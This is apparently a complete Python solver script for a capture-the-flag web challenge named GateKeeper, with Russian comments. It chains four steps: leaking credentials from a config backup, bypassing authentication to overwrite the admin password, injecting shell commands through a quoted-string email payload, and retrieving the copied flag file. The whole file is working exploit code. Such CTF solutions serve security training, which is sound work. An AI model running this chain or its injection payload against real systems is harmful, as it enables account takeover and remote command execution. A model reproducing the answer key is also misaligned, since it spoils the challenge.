124 lines
4.6 KiB
Python
124 lines
4.6 KiB
Python
#!/usr/bin/env python3
|
||
# solve.py — автоматическое решение задания GateKeeper (только stdlib).
|
||
#
|
||
# Проходит все 4 слоя:
|
||
# 1. Info leak: GET /static/config.json.bak -> креды operator
|
||
# 2. Auth bypass: POST /account/password (old_password сверяется с ЛЮБЫМ
|
||
# пользователем) -> меняем пароль admin, логинимся как admin
|
||
# 3. Cmd inject: POST /admin/directory/sync с RFC 5322 quoted-string email
|
||
# '"x$(cp /root/flag.txt /opt/gk/www/public/f.txt)"@gw.local'
|
||
# 4. Exfil: GET /public/f.txt -> флаг
|
||
#
|
||
# Запуск: python solve.py http://localhost:18113
|
||
import json
|
||
import re
|
||
import sys
|
||
import urllib.request
|
||
import urllib.error
|
||
import http.cookiejar
|
||
|
||
PAYLOAD_EMAIL = '"x$(cp /root/flag.txt /opt/gk/www/public/f.txt)"@gw.local'
|
||
EXFIL_PATH = "/public/f.txt"
|
||
FLAG_RE = re.compile(r"CAPLAG\{[^}\r\n]+\}")
|
||
|
||
|
||
def make_client(base):
|
||
cj = http.cookiejar.CookieJar()
|
||
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
|
||
|
||
def req(method, path, body=None):
|
||
data = None
|
||
headers = {}
|
||
if body is not None:
|
||
data = json.dumps(body).encode()
|
||
headers["Content-Type"] = "application/json"
|
||
r = urllib.request.Request(base + path, data=data, headers=headers, method=method)
|
||
try:
|
||
with opener.open(r, timeout=15) as resp:
|
||
return resp.status, resp.read().decode("utf-8", "replace")
|
||
except urllib.error.HTTPError as e:
|
||
return e.code, e.read().decode("utf-8", "replace")
|
||
|
||
return req
|
||
|
||
|
||
def step(msg):
|
||
print(f"[*] {msg}")
|
||
|
||
|
||
def ok(msg):
|
||
print(f"[+] {msg}")
|
||
|
||
|
||
def die(msg):
|
||
print(f"[-] FAIL: {msg}")
|
||
sys.exit(1)
|
||
|
||
|
||
def main():
|
||
if len(sys.argv) != 2:
|
||
print(f"usage: python {sys.argv[0]} http://localhost:PORT")
|
||
sys.exit(2)
|
||
base = sys.argv[1].rstrip("/")
|
||
req = make_client(base)
|
||
|
||
# --- Слой 1: info leak ---
|
||
step(f"слой 1: читаем {base}/static/config.json.bak")
|
||
code, text = req("GET", "/static/config.json.bak")
|
||
if code != 200:
|
||
die(f"config.json.bak недоступен (HTTP {code})")
|
||
m = re.search(r'"operator"\s*:\s*\{[^}]*?"password"\s*:\s*"([^"]+)"', text, re.S)
|
||
if not m:
|
||
die("пароль operator не найден в бэкапе конфига")
|
||
op_user, op_pass = "operator", m.group(1)
|
||
ok(f"утёкшие креды: {op_user}:{op_pass}")
|
||
|
||
# --- Логин operator ---
|
||
step("логинимся как operator")
|
||
code, text = req("POST", "/login", {"username": op_user, "password": op_pass})
|
||
if code != 200:
|
||
die(f"login operator: HTTP {code}: {text}")
|
||
ok("сессия operator получена")
|
||
|
||
# --- Слой 2: auth bypass в смене пароля ---
|
||
step("слой 2: меняем пароль admin, предъявляя СВОЙ (operator) пароль как old_password")
|
||
new_admin_pass = "gk_pwned_2026"
|
||
code, text = req("POST", "/account/password", {
|
||
"username": "admin",
|
||
"old_password": op_pass, # BUG: сверяется с паролем ЛЮБОГО пользователя
|
||
"new_password": new_admin_pass,
|
||
})
|
||
if code != 200:
|
||
die(f"auth bypass не сработал: HTTP {code}: {text}")
|
||
ok("пароль admin перезаписан (old_password сверен с чужой учёткой)")
|
||
|
||
# --- Логин admin ---
|
||
step("логинимся как admin")
|
||
code, text = req("POST", "/login", {"username": "admin", "password": new_admin_pass})
|
||
if code != 200:
|
||
die(f"login admin: HTTP {code}: {text}")
|
||
ok("сессия admin получена")
|
||
|
||
# --- Слой 3: command injection через RFC-valid email ---
|
||
step(f"слой 3: инъекция через quoted-string email: {PAYLOAD_EMAIL}")
|
||
code, text = req("POST", "/admin/directory/sync", {"email": PAYLOAD_EMAIL})
|
||
if code != 200:
|
||
die(f"sync: HTTP {code}: {text}")
|
||
ok(f"payload принят (RFC-валиден, фильтр обойдён): {text.strip()}")
|
||
|
||
# --- Слой 4: эксфильтрация ---
|
||
step(f"слой 4: забираем флаг: GET {base}{EXFIL_PATH}")
|
||
code, text = req("GET", EXFIL_PATH)
|
||
if code != 200:
|
||
die(f"эксфильтрация не удалась: HTTP {code}")
|
||
m = FLAG_RE.search(text)
|
||
if not m:
|
||
die(f"файл получен, но флага нет: {text!r}")
|
||
ok("флаг получен!")
|
||
print()
|
||
print(m.group(0))
|
||
|
||
|
||
if __name__ == "__main__":
|
||
main()
|